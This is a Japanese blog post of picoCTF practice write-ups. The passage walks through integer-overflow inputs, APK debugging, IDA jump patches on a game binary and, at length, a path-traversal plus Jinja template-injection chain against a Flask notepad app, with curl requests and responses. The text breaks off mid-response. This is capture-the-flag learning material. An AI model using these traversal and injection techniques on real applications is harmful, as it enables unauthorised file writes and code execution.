picoCTF picoGym Practice Challenges WriteUp その5

picoCTF よりpicoGym Practice ChallengesのWriteUp その5。

前記事が一定のボリュームに達したので、新記事を設けることにした。

解けた問題から順次WriteUpを追加していく予定。

過去のWriteUp記事の一覧はこちら

droids3とdroids4に取り組もうとしたのだが、システムを諸々アップデートしたところ、Android Studioのエミュレータが正常に起動しなくなってしまった。。。色々試してみたが直らないので、ひとまずdroids3とdroids4は放置。

repetitions (100points)

ファイルenc_flagを解析してフラグを取得する問題。

ファイルを何度かBase64デコードしたところ、フラグを取れた。

chrono (100points)

サーバーに接続してフラグを取得する問題。

問題文にて、linuxサーバーで定期的に処理を実行するにはどうすればいいか?と聞かれたので、/etc/crontab を覗いてみたところ、フラグを取れた。

$ ssh -p 52665 picoplayer@saturn.picoctf.net

$ cd /etc/

$ cat crontab
# picoCTF{Sch3DUL7NG_T45K3_L1NUX_<REDACTED>}

flag_shop (300points)

遠隔のサーバーで実行されているプログラムを解析してフラグを取得する問題。

$ nc jupiter.challenges.picoctf.org 4906
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection

以下は上記のプログラムのソースコードstore.cである。

#include <stdio.h>
#include <stdlib.h>
int main()
{
    setbuf(stdout, NULL);
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){
        
        printf("Welcome to the flag exchange\n");
        printf("We sell flags\n");

        printf("\n1. Check Account Balance\n");
        printf("\n2. Buy Flags\n");
        printf("\n3. Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);
        if(menu == 1){
            printf("\n\n\n Balance: %d \n\n\n", account_balance);
        }
        else if(menu == 2){
            printf("Currently for sale\n");
            printf("1. Defintely not the flag Flag\n");
            printf("2. 1337 Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("These knockoff Flags cost 900 each, enter desired quantity\n");
                
                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 900*number_flags;
                    printf("\nThe final cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour current balance after transaction: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds to complete purchase\n");
                    }
                                    
                    
                }
                    
                    
                    
                
            }
            else if(auction_choice == 2){
                printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to buy one");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);
                
                if(bid == 1){
                    
                    if(account_balance > 100000){
                        FILE *f = fopen("flag.txt", "r");
                        if(f == NULL){

                            printf("flag not found: please run this on the server\n");
                            exit(0);
                        }
                        char buf[64];
                        fgets(buf, 63, f);
                        printf("YOUR FLAG IS: %s\n", buf);
                        }
                    
                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                    }}

            }
        }
        else{
            con = 1;
        }

    }
    return 0;
}

最初のメニューで2 (Buy Flags) を選択し、次のメニューで再び2 (1337 Flag) を選択してフラグを購入するとflag.txtからフラグが読み出される。

フラグを購入するには所持金が100000を超えている必要があるが、所持金の初期値は1100である。

if(account_balance > 100000){
                        FILE *f = fopen("flag.txt", "r");
int account_balance = 1100;

フラグを購入するにはどうにかして所持金が定義されているaccount_balanceの値を増やす必要がある。

account_balanceの値を操作するには最初のメニューで2 (Buy Flags) を選択し、次のメニューで1 (Defintely not the flag Flag) 選択する。

すると1個900のknockoffフラグを購入することができる。

            if(auction_choice == 1){
                printf("These knockoff Flags cost 900 each, enter desired quantity\n");
                
                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 900*number_flags;
                    printf("\nThe final cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour current balance after transaction: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds to complete purchase\n");

knockoffフラグを購入する際に個数 (number_flags)を指定すると合計金額がtotal_costに代入される (total_cost = 900*number_flags;)。

最後にaccount_balanceからtotal_costが引かれて、account_balanceの値が更新される (account_balance = account_balance - total_cost;)。

number_flagsに負の値を代入すればtotal_costが負の値となり、account_balanceの値を増やすことが出来るのでは?と思いついた。

account_balance - (-total_cost) → account_balance + total_cost
>>> account_balance = 1100
>>> number_flags = -1000
>>> total_cost = 900*number_flags
>>> account_balance = account_balance - total_cost
>>> account_balance
901100

knockoffフラグを購入する際に個数として-10000-1000と指定してみたがaccount_balanceの値は更新されなかった。

ヒントを見てみた。

Two's compliment can do some weird things when numbers get really big!

ヒントに従い、knockoffフラグを購入する際に100000000と指定してみたところ、account_balanceの値が加算されてフラグを購入することが出来た。

$ nc jupiter.challenges.picoctf.org 4906
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection



2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
100000000

The final cost is: -194313216

Your current balance after transaction: 194314316

Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
1



 Balance: 194314316


Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
2
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one1
YOUR FLAG IS: picoCTF{m0n3y_bag5_<REDACTED>}

useless (100points)

遠隔のサーバーにホストされているuselessというbashスクリプトを解析してフラグを取得する問題。

以下はuselessのソースコード。

picoplayer@challenge:~$ cat useless
#!/bin/bash
# Basic mathematical operations via command-line arguments

if [ $# != 3 ]
then
  echo "Read the code first"
else
        if [[ "$1" == "add" ]]
        then
          sum=$(( $2 + $3 ))
          echo "The Sum is: $sum"

        elif [[ "$1" == "sub" ]]
        then
          sub=$(( $2 - $3 ))
          echo "The Substract is: $sub"

        elif [[ "$1" == "div" ]]
        then
          div=$(( $2 / $3 ))
          echo "The quotient is: $div"

        elif [[ "$1" == "mul" ]]
        then
          mul=$(( $2 * $3 ))
          echo "The product is: $mul"

        else
          echo "Read the manual"

        fi
fi

"Read the manual" という1文が目についたのでuselessのmanファイルを見たところ、フラグを取れた。

picoplayer@challenge:~$ man useless

useless
     useless, — This is a simple calculator script

SYNOPSIS
     useless, [add sub mul div] number1 number2

DESCRIPTION
     Use the useless, macro to make simple calulations like addition,subtraction, multiplication and division.

Examples
     ./useless add 1 2
       This will add 1 and 2 and return 3

     ./useless mul 2 3
       This will return 6 as a product of 2 and 3

     ./useless div 6 3
       This will return 2 as a quotient of 6 and 3

     ./useless sub 6 5
       This will return 1 as a remainder of substraction of 5 from 6

Authors
     This script was designed and developed by Cylab Africa

     picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_<REDACTED>}

two-sum (100points)

遠隔のサーバーで実行されているプログラムの脆弱性を突いてフラグを取得する問題。

以下はソースコードflag.cの内容。

#include <stdio.h>
#include <stdlib.h>

static int addIntOvf(int result, int a, int b) {
    result = a + b;
    if(a > 0 && b > 0 && result < 0)
        return -1;
    if(a < 0 && b < 0 && result > 0)
        return -1;
    return 0;
}

int main() {
    int num1, num2, sum;
    FILE *flag;
    char c;

    printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
    fflush(stdout);
    printf("What two positive numbers can make this possible: \n");
    fflush(stdout);
    
    if (scanf("%d", &num1) && scanf("%d", &num2)) {
        printf("You entered %d and %d\n", num1, num2);
        fflush(stdout);
        sum = num1 + num2;
        if (addIntOvf(sum, num1, num2) == 0) {
            printf("No overflow\n");
            fflush(stdout);
            exit(0);
        } else if (addIntOvf(sum, num1, num2) == -1) {
            printf("You have an integer overflow\n");
            fflush(stdout);
        }

        if (num1 > 0 || num2 > 0) {
            flag = fopen("flag.txt","r");
            if(flag == NULL){
                printf("flag not found: please run this on the server\n");
                fflush(stdout);
                exit(0);
            }
            char buf[60];
            fgets(buf, 59, flag);
            printf("YOUR FLAG IS: %s\n", buf);
            fflush(stdout);
            exit(0);
        }
    }
    return 0;
}

以下の条件を満たす2つの正の整数をプログラムに入力せよとのこと。

n1 > n1 + n2 OR n2 > n1 + n2

どうやらInteger Overflowを起こせばフラグを取れるらしい。Integer Overflowについて軽くググってみた。

Integer Overflowとはint型の変数に保持できる最大値を超えた値を変数に格納しようとしたときに発生する。極端に大きな正の整数を格納しようとすると、符号が反転して、結果が負の整数になったり、あるいは極端に小さな負の整数を格納しようとすると、符号が反転して、結果が正の整数になったりしてしまうらしい。
大抵のプログラミング言語では32ビットのプログラムが格納できる符号付整数の範囲は−2,147,483,648 から 2,147,483,647までとのこと。

以上を踏まえて、プログラムの入力値として21474836471を指定したところ、プログラムがInteger Overflowを起こし、フラグを取れた。

$ nc saturn.picoctf.net 54594
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483647
1
You entered 2147483647 and 1
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_<REDACTED>}

droids0 (300points)

APKファイルzero.apkを解析してフラグを取得する問題。

APKファイルをJARファイルに変換し、JD-GUIでソースコードを眺めてみたがフラグは見つからなかった。

ヒントを見てみた。

Try using an emulator or device

https://developer.android.com/studio

ヒントに従い、Android Studioをインストールし、APKファイルを実行してみた。

※Android StudioにAPKファイルをロードするにはMore Actions → Profile or Debug APKを選択する。

Logcatでログを眺めてみたところ、フラグを発見した。

droids1 (350points)

APKファイルone.apkを解析してフラグを取得する問題。

どうやらアプリを起動して正しいパスワードを入力するとフラグが現れる模様。

Android StudioでAPKファイルを実行し、Logcatでログを眺めてみたがパスワードに関する情報は見つからなかった。

アプリをデバッグモードで起動し、適当な箇所にブレークポイントをセットしてメモリの中身を見ればパスワードを取れるのでは?と思い、試してみることにしたのだが、Android Studio上でソースコードをクリックしてもブレークポイントをセットできなかった。

しばらくして、以下のエラーメッセージに気づいた。

Disassembled classes.dex file. To set up breakpoints for debugging, please attach Kotlin/Java source files

どうやらブレークポイントをセットするにはJavaのソースコードを読み込ませる必要がある模様。

jadxを使ってAPKファイルからJavaのソースコードを取得した。

C:\Users\analyst\Downloads\jadx-1.4.7\bin\jadx.bat -d java_source one.apk

続いてJavaのソースコードが配置されているディレクトリをAndroid Studioに読み込ませた。詳しい手順はこちらを参照。

これでブレークポイントをセットできるようになった。

getFlag()にブレークポイントをセットしてステップオーバー実行したところ、passwordという変数にopossumという文字列が格納されているのが確認できた。

パスワードとしてopossumと入力したところ、フラグを取れた。

droids2 (400points)

APKファイルtwo.apkを解析してフラグを取得する問題。

どうやらアプリを起動して正しいパスワードを入力するとフラグが現れる模様。

まずはjadxを使ってAPKファイルからJavaのソースコードを取得した。

C:\Users\analyst\Downloads\jadx-1.4.7\bin\jadx.bat -d java_source two.apk

続いて取得したJavaのソースコードをAndroid Studioに読み込ませた

getFlag()にブレークポイントをセットしてステップオーバー実行したところ、dismass.ogg.weatherwax.aching.nitt.garlickというパスワードを確認できた。

パスワードとしてdismass.ogg.weatherwax.aching.nitt.garlickと入力したところ、フラグを取れた。

Wizardlike (500points)

64ビットのELFファイルgameを解析してフラグを取得する問題。

checksecで確認したところ、PIEは有効化されていなかった。

$ sudo checksec.sh --file=game

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          N/A        N/A          No Symbols	  No	0		0		game

gameはゲーム・プログラムである。プレーヤーはコマンドを入力してダンジョンを移動し、隠されたフラグを探し出さなければならない。

以下は実際のゲーム画面である。

 ###
#.@.....#
#.......#
#........
#.......#  .#
 .......#   #
 .......#
 .......#
 .......#
 .......#
 .......#
 .......#
 .......#
 .......
 ......>
 #######

プレーヤーは以下のコマンドを入力してダンジョン内を移動する。(プレーヤーの現在位置は@で表されている。)

  • a : 左へ移動
  • d : 右へ移動
  • w : 上へ移動
  • s : 下へ移動
  • Q : ゲームを終了する

#は壁を表し、.は床を表している。
プレーヤーは壁を通り抜けることはできない。また床が続いていない道は通ることが出来ない。

> は下の階への階段を表している。>に到達すると次の階へと進むことが出来る。

< は上の階への階段を表している。< に到達すると前の階へ戻ることが出来る。

IDAでファイルを眺めたところ、どうやらダンジョンには合計で10階層が存在する模様。

しかし、普通にプレーすると、最初の数階層はクリアすることができるのだが、次第に壁に阻まれたり、床が続いていなかったりして、次の階へ進むことが出来なくなる。

なら、プログラムをパッチして常に現在位置を> (下の階への階段)に合わせれば、10階層すべて回ることができるのでは?と思いついた。

.text:0000000000402B6A 0F B6 00                movzx   eax, byte ptr [rax]
.text:0000000000402B6D 88 45 D7                mov     [rbp+var_29], al
.text:0000000000402B70 80 7D D7 3E             cmp     [rbp+var_29], 3Eh ; '>'
.text:0000000000402B74 75 11                   jnz     short loc_402B87

上記の命令コードはプレーヤーの現在位置が>と一致しているか確認し、一致した場合はプレーヤーを次の階へと進ませる。上記の命令コードを書き換えれば、常に次の階へと進むことが出来そうである。

以下は上記の命令コードを書き換えたものである。

.text:0000000000402B6A 0F B6 00                movzx   eax, byte ptr [rax]
.text:0000000000402B6D 88 45 D7                mov     [rbp+var_29], al
.text:0000000000402B70 80 7D D7 3E             cmp     [rbp+var_29], 3Eh ; '>'
.text:0000000000402B74 74 11                   jz      short loc_402B87

ジャンプ命令のjnzjzに書き換えることで現在位置が>と一致しなくても、次の階へと進むことが出来るようになった。(ちなみにパッチ作業はIDAで行った。)

しかし、予想に反して、10階層すべてを回ってもフラグは出現しなかった。

以下は10階層目のダンジョン画面である。フラグらしきものは見当たらない。

<...................................................................................................
.@..............................................................................................#
###

どかに隠し階層があるのでは?と思い、調べてみたが見つからなかった。

このあたりで行き詰ったので、公式のヒントを見てみた。

以下、ヒント。

Different tools are better at different things. Ghidra is awesome at static analysis, but radare2 is amazing at debugging.

With the right focus and preparation, you can teleport to anywhere on the map.

入力をいじって任意の場所に移動するというアプローチは間違ってなさそうである。

しかし、その後も解析を続けても一向に進展しないので、とうとう他所のwrite up をチラ見してしまった。

どうやら、プログラムをパッチして、壁・床に関係なくダンジョン内を移動できるようになればフラグを取れるらしい。

解析したところ、壁・床を無視して移動するには以下の命令コードを書き換えればいいことが分かった。

上記の命令コードは現在位置が# (壁) または空白 (つまり床が無い)と一致するか確認し、一致した場合は戻り値としてeaxに0を格納する。

なので、戻り値としてeaxに1を格納すれば壁や床を無視してダンジョン内を移動できるようになる。

以下はパッチ前のコード。

.text:0000000000402232                         loc_402232:
.text:0000000000402232 B8 00 00 00 00          mov     eax, 0
.text:0000000000402237 EB 0C                   jmp     short loc_402245

以下はパッチ後のコード。

.text:0000000000402232                         loc_402232:
.text:0000000000402232 B8 01 00 00 00          mov     eax, 1
.text:0000000000402237 EB 0C                   jmp     short loc_402245

上記のパッチ適用後、壁や床を無視してダンジョン内を移動できるようになり、フラグを取ることが出来た。

#########                                                      
#.......#  ......#...................................          
#.......#  ....................####.#####.#####..###.          
#........  .####.#..###..###..#.......#...# .....#...          
#.......#  .#  #.#.#....#   #.#.......#...###...#....          
#.......#  .####.#.#....#   #.#.......#...#......#...          
#.......#  .#....#..###..###...####...#...#......###.
#.......#  .#........................................ @        
#.......#  ..........................................          
#.......#                                                      
#.......#
#.......#
#.......#
#.......#
#......>#
#########
#####. .............................................................                
#.<.#. ...............#..#.............##.......#..#........#.......                
#...#. .#..#.###......#..#.......#...#..#.####..#..#.###....#.......                
#...#. .#..#.#........####.......#.#.#..#...#...####.#...####.......                
#...#. .####.#...####....#.#####..#.#..###.####....#.#...####.#####. 
  .    .............................................................                
  .    .............................................................                
  .    .............................................................                
#....
#...#
#...#
#...#
#...#
#...#                                                                               
#.>.#           
#####  
#################   .......
#<..............#.  .#...#.            
#...............#.. .#...#.           
#..............#.....#####.           
#...#.......#...#.. .....#.           
#..###.....###..#.  .....#.           
#...#...#...#...#   .......           
#......#>#......#   .......           
#...............#                     
#...#.......#...#                     
#..###.....###..#                     
#...#.......#...#       
#...............#                     
#...............#                     
#.........@.....#
#################
...             ..  .......    
.<.          ####.  ..###..     
...          ...#.. .#...#.    
...          ...#.....###..    
          @  ..>#.. .#...#.    
             ####.  ..###..    
                ..  .......    
                    .......

########################
#<.............#.......#      
#..............#.#...#.#      
#..............#.#...#.#                              
#..............#.#####.#                              
#..............#.....#.#
#..............#.....#.#                              
#..............#.......#                              
#..............#.......#   
########################                              





@

################        
#..............#        
#..............#
#..............#
#..............#
#..............#
#..............#
#..............#
#.............>#
################
.......
.<.....
.......
.......
.......
.......
.......
.......
.......
.......
.......        
.....>.        
.......        
#######        
.......        
.#...#.        
.#...#.        
.#####.        
.....#.        
.....#.        
.......        
.@.....
...
.<.........       
...........       
...      ..                       
         ..
         ..
         ..
         ..
         ..
         ..       
   .............. 
   ..##########.. 
   .#          #. 
   .#  ....... #.
   .#  ..###.. #.
   .#  .#. .#. #.
   .#  .#####. #.
   .#  .#...#. #.   
   .#  .#...#. #.   
   .#  ....... #.
   .#  ....... #.  
  @.#          #.  
   ..##########..  
   .............>

 # ######################             @
#<#......#.#.......###..#
#.#.###..#.#.......##..##
#.#.#.#..#.#.......#..###
#.#.#.#..#.#.......#...##
#...#....#..#......#....#
#.######.##..###.###....#
#.#.....................#
#.### #################.#
#.......................#
 ########.###.#########.#
#.......#.#.#.#.........#
#.####..#.#...#.#########
#.#...#.#.#.#.#.........#
#.#...#.#.#.#.######### #
#.#...#.#.#.#.#.........#
#.####..#.#.#.#.#########
#.......#.#.#.#.........#
#.......#.#.#.#########.#
#########.#.#.#...#...#.#
#...........#.#.#.#.#.#.#
#########...#.#.#.#.#.#.#
#.......#...#.#.#.#.#.#.#
####.####...#. . . .#.#.#
##..........#.#.#.#.#.#.#
#.#..####...#.#.#.#.#.#.#
#..#....#####.#.#.#.#.#.#
#...#...#...#.#.#...#...#
#....#........#.#########
#...........#.#........>#
###################     .
...                                                                                          .......
.<.                                                                                          ...#...
...                                                                                          ..#....
...                                                                                          .####..
                                                                                             .#...#.
                                                                                             ..###..
                                                                                             .......
                                                                                             .......
################ ##
###################
####..............#
####.#####.###....#
####.#.......#....#
####.###......#...#
####.#.......#....#
####.#.....###....#
   #..............#
   #..............#
###################
                 ##

notepad (250points)

Webアプリケーション・プログラムhttps://notepad.mars.picoctf.net/を解析してフラグを取得する問題。

https://notepad.mars.picoctf.net/はノート作成のアプリケーションである。

フォームにデータを入力してSubmitボタンを押すとstatic/ディレクトリ以下にノートが作成される。

この問題ではアプリケーションのソースコード等が含まれたnotepad.tarが渡される。

以下はnotepad.tarに含まれているファイルである。

  • Dockerfile
  • app.py
  • templates/index.html
  • templates/errors/bad_content.html
  • templates/errors/long_content.html

以下はDockerfileの内容である。

FROM python:3.9.2-slim-buster

RUN pip install flask gunicorn --no-cache-dir

WORKDIR /app
COPY app.py flag.txt ./
COPY templates templates
RUN mkdir /app/static && \
    chmod -R 775 . && \
    chmod 1773 static templates/errors && \
    mv flag.txt flag-$(cat /proc/sys/kernel/random/uuid).txt

CMD ["gunicorn", "-w16", "-t5", "--graceful-timeout", "0", "-unobody", "-gnogroup", "-b0.0.0.0", "app:app"]

上記より以下の内容が読み取れる。

  • flaskを使用している。
  • app.pyと同じディレクトリ内にflag-<ランダムなUUID>.txtというファイルが存在する。恐らくこのファイルにフラグが記載されている。

以下はapp.pyの内容である。

from werkzeug.urls import url_fix
from secrets import token_urlsafe
from flask import Flask, request, render_template, redirect, url_for

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html", error=request.args.get("error"))

@app.route("/new", methods=["POST"])
def create():
    content = request.form.get("content", "")
    if "_" in content or "/" in content:
        return redirect(url_for("index", error="bad_content"))
    if len(content) > 512:
        return redirect(url_for("index", error="long_content", len=len(content)))
    name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
    with open(name, "w") as f:
        f.write(content)
    return redirect(name)

上記より以下の内容が読み取れる。

  • テンプレートとしてindex.htmlを読み込む。
  • フォームに入力された内容を/newにPOSTしてノートを作成する。
  • 入力されたデータの中にアンダースコア(_)やスラッシュ (/)が含まれていた場合、エラーとみなされ、bad_content.htmlに誘導される。
  • 入力されたデータのサイズが512バイトを超えた場合、エラーとみなされ、long_content.htmlに誘導される。
  • ノートのファイル名は[入力されたデータの先頭128バイト].[-].[ランダムなトークン]の形式を取る。

以下はtemplates/index.htmlの内容である。

<!doctype html>
{% if error is not none %}
  <h3>
    error: {{ error }}
  </h3>
  {% include "errors/" + error + ".html" ignore missing %}
{% endif %}
<h2>make a new note</h2>
<form action="/new" method="POST">
  <textarea name="content"></textarea>
  <input type="submit">
</form>

上記より以下の内容が読み取れる。

  • errorというパラメータにファイル名が付与されていた場合 (例:/?error=<filename>)、templates/errors/ディレクトリからファイルを読み込む。ファイルの中にJinjaの構文が含まれていた場合、それを評価・実行する。

以下はtemplates/errors/bad_content.htmlの内容である。入力されたデータの中にアンダースコア(_)やスラッシュ (/)が含まれていた場合、このファイルに誘導される。(例:/?error=bad_content

the note contained invalid characters

以下はtemplates/errors/long_content.htmlの内容である。入力されたデータのサイズが512バイトを超えた場合、このファイルに誘導される。(例:/?error=long_content

your note (length {{ request.args.get("len") }}) was larger than the maximum (512)

ノートの内容にJinja構文を混入させてflag-<ランダムなUUID>.txtの中身を読み出せれば、フラグを取れると思われる。

以下の2通りの方法を思いついた。

  • 方法その1: static/ディレクトリにJinja構文を混入させたノートを作成し、ディレクトリをトラバースして読み込ませる。(例:/?error=../../static/<my file>
  • 方法その2: 何らかの方法でJinja構文を混入させたノートをstatic/ではなく、templates/errors/ディレクトリに作成し、読み込ませる。(例: /?error=<my file>

ローカルマシンにflaskをインストールし、それぞれの方法を検証してみた。

  • pip3 install flaskでflaskをインストール
  • flask runでflaskを起動
  • http://127.0.0.1:5000/でアプリケーションにアクセス

まず、結論から言うと、方法その1は駄目だった。/がフィルターされているので..%2f..%2f%2e%2e%2f%2e%2e%2f%252e%252e%252f%2e%2e%2fとURLエンコードを施してトラバーサルを試みたのだが、templates/errors/からディレクトリを遡ることが出来なかった。

続いて、方法その2を検証してみた。
方法その2ではtemplates/errors/にファイルを作成する必要がある。

app.pyを眺めてみた。

    name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
    with open(name, "w") as f:
        f.write(content)
    return redirect(name)

上記によるとユーザーの入力したデータの先頭128バイトがファイル名に付与され、open()でファイルが書き込まれる。

Pythonのopen()は対象のファイル名を相対パスで指定することが出来るので、ファイル名に../templates/errors/を含めることが出来れば、本来の書き込み先のstatic/からトラバースして/templates/errors/にファイルを作成することが出来る。

しかし、/がフィルターされているので、どうにかこのフィルターを回避する必要がある。

手掛かりを求めてurl_fixのソースコードを眺めてみた。

def url_fix(s, charset='utf-8'):
    r"""Sometimes you get an URL by a user that just isn't a real URL because
    it contains unsafe characters like ' ' and so on. This function can fix
    some of the problems in a similar way browsers handle data entered by the
    user:

    >>> url_fix(u'http://de.wikipedia.org/wiki/Elf (Begriffskl\xe4rung)')
    'http://de.wikipedia.org/wiki/Elf%20(Begriffskl%C3%A4rung)'

    :param s: the string with the URL to fix.
    :param charset: The target charset for the URL if the url was given as
                    unicode string.
    """
    # First step is to switch to unicode processing and to convert
    # backslashes (which are invalid in URLs anyways) to slashes.  This is
    # consistent with what Chrome does.
    s = to_unicode(s, charset, 'replace').replace('\\', '/')

    # For the specific case that we look like a malformed windows URL
    # we want to fix this up manually:
    if s.startswith('file://') and s[7:8].isalpha() and s[8:10] in (':/', '|/'):
        s = 'file:///' + s[7:]

    url = url_parse(s)
    path = url_quote(url.path, charset, safe='/%+$!*\'(),')
    qs = url_quote_plus(url.query, charset, safe=':&%=+$!*\'(),')
    anchor = url_quote_plus(url.fragment, charset, safe=':&%=+$!*\'(),')
    return to_native(url_unparse((url.scheme, url.encode_netloc(),
                                  path, qs, anchor)))

上記のソースコードを眺めたところ、以下の一文が目についた。

s = to_unicode(s, charset, 'replace').replace('\\', '/')

どうやら、URLの中に\ (バックスラッシュ)が含まれていた場合、/に置き換えるようである。
この性質を利用すれば、ディレクトリ・トラバーサルで任意のディレクトリにファイルを作成できそうである。

試しにノートの内容に..\templates\errors\hogeと指定してみた。

$ curl -i http://127.0.0.1:5000/new -d "content=..\templates\errors\hoge"
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 05:22:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 283
Location: static/../templates/errors/hoge-Q9ZVI8XA7vQ.html
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="static/../templates/errors/hoge-Q9ZVI8XA7vQ.html">static/../templates/errors/hoge-Q9ZVI8XA7vQ.html</a>. If not, click the link.

/templates/errors/hoge-Q9ZVI8XA7vQ.htmlというファイルが作成されたっぽい。

作成されたファイルにアクセスしてみた。(http://127.0.0.1:5000/?error=hoge-Q9ZVI8XA7vQ

$ curl -i http://127.0.0.1:5000/?error=hoge-Q9ZVI8XA7vQ
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 05:26:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 218
Connection: close

<!doctype html>

  <h3>
    error: hoge-Q9ZVI8XA7vQ
  </h3>
  ..\templates\errors\hoge

<h2>make a new note</h2>
<form action="/new" method="POST">
  <textarea name="content"></textarea>
  <input type="submit">
</form>

作成されたhoge-Q9ZVI8XA7vQ.htmlにアクセスすることが出来た。

これで/templates/errors/に書き込めるようになった。次はJinja構文を実行させる方法の検証である。

色々検証した結果、/templates/errors/にJinja構文入りのファイルを作成するには以下の内容をノートに入力すれば良いことが判明した。

..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<Jinja payload>

上記のペイロードの解説を以下に記す。

  • ..\templates\errors\ : フィルターを回避して/templates/errors/にファイルを作成する。
  • aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa : データの先頭128バイト以内にJinja構文の{}%が含まれているとファイル名がURLエンコードされてしまう。ファイル名にURLエンコードされた文字列が含まれていると、ファイルの中のJinja構文を実行することができなかった。なのでデータの先頭128バイトを無意味な文字で埋め尽くし、{}%がファイル名に含まれないようにする。
  • <Jinja payload> : ここに実行したいJinja構文を指定する。

以下、ペイロードの検証。

  • 実行したいJinja構文:{{10*10}}
  • ペイロード:..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{10*10}}
curl -i http://127.0.0.1:5000/new --data-urlencode "content=..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{10*10}}"
HTTP/1.1 302 FOUND
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 05:53:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 491
Location: static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ.html
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ.html">static/../templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ.html</a>. If not, click the link.

/templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ.htmlが作成された。

作成されたファイルにアクセスしてみた。

$ curl -i http://127.0.0.1:5000/?error=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-iGJZ8uCBlhQ
HTTP/1.1 200 OK
Server: Werkzeug/2.3.6 Python/3.10.6
Date: Sat, 12 Aug 2023 05:54:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 449
Connection: close

<!doctype html>

  <h3>
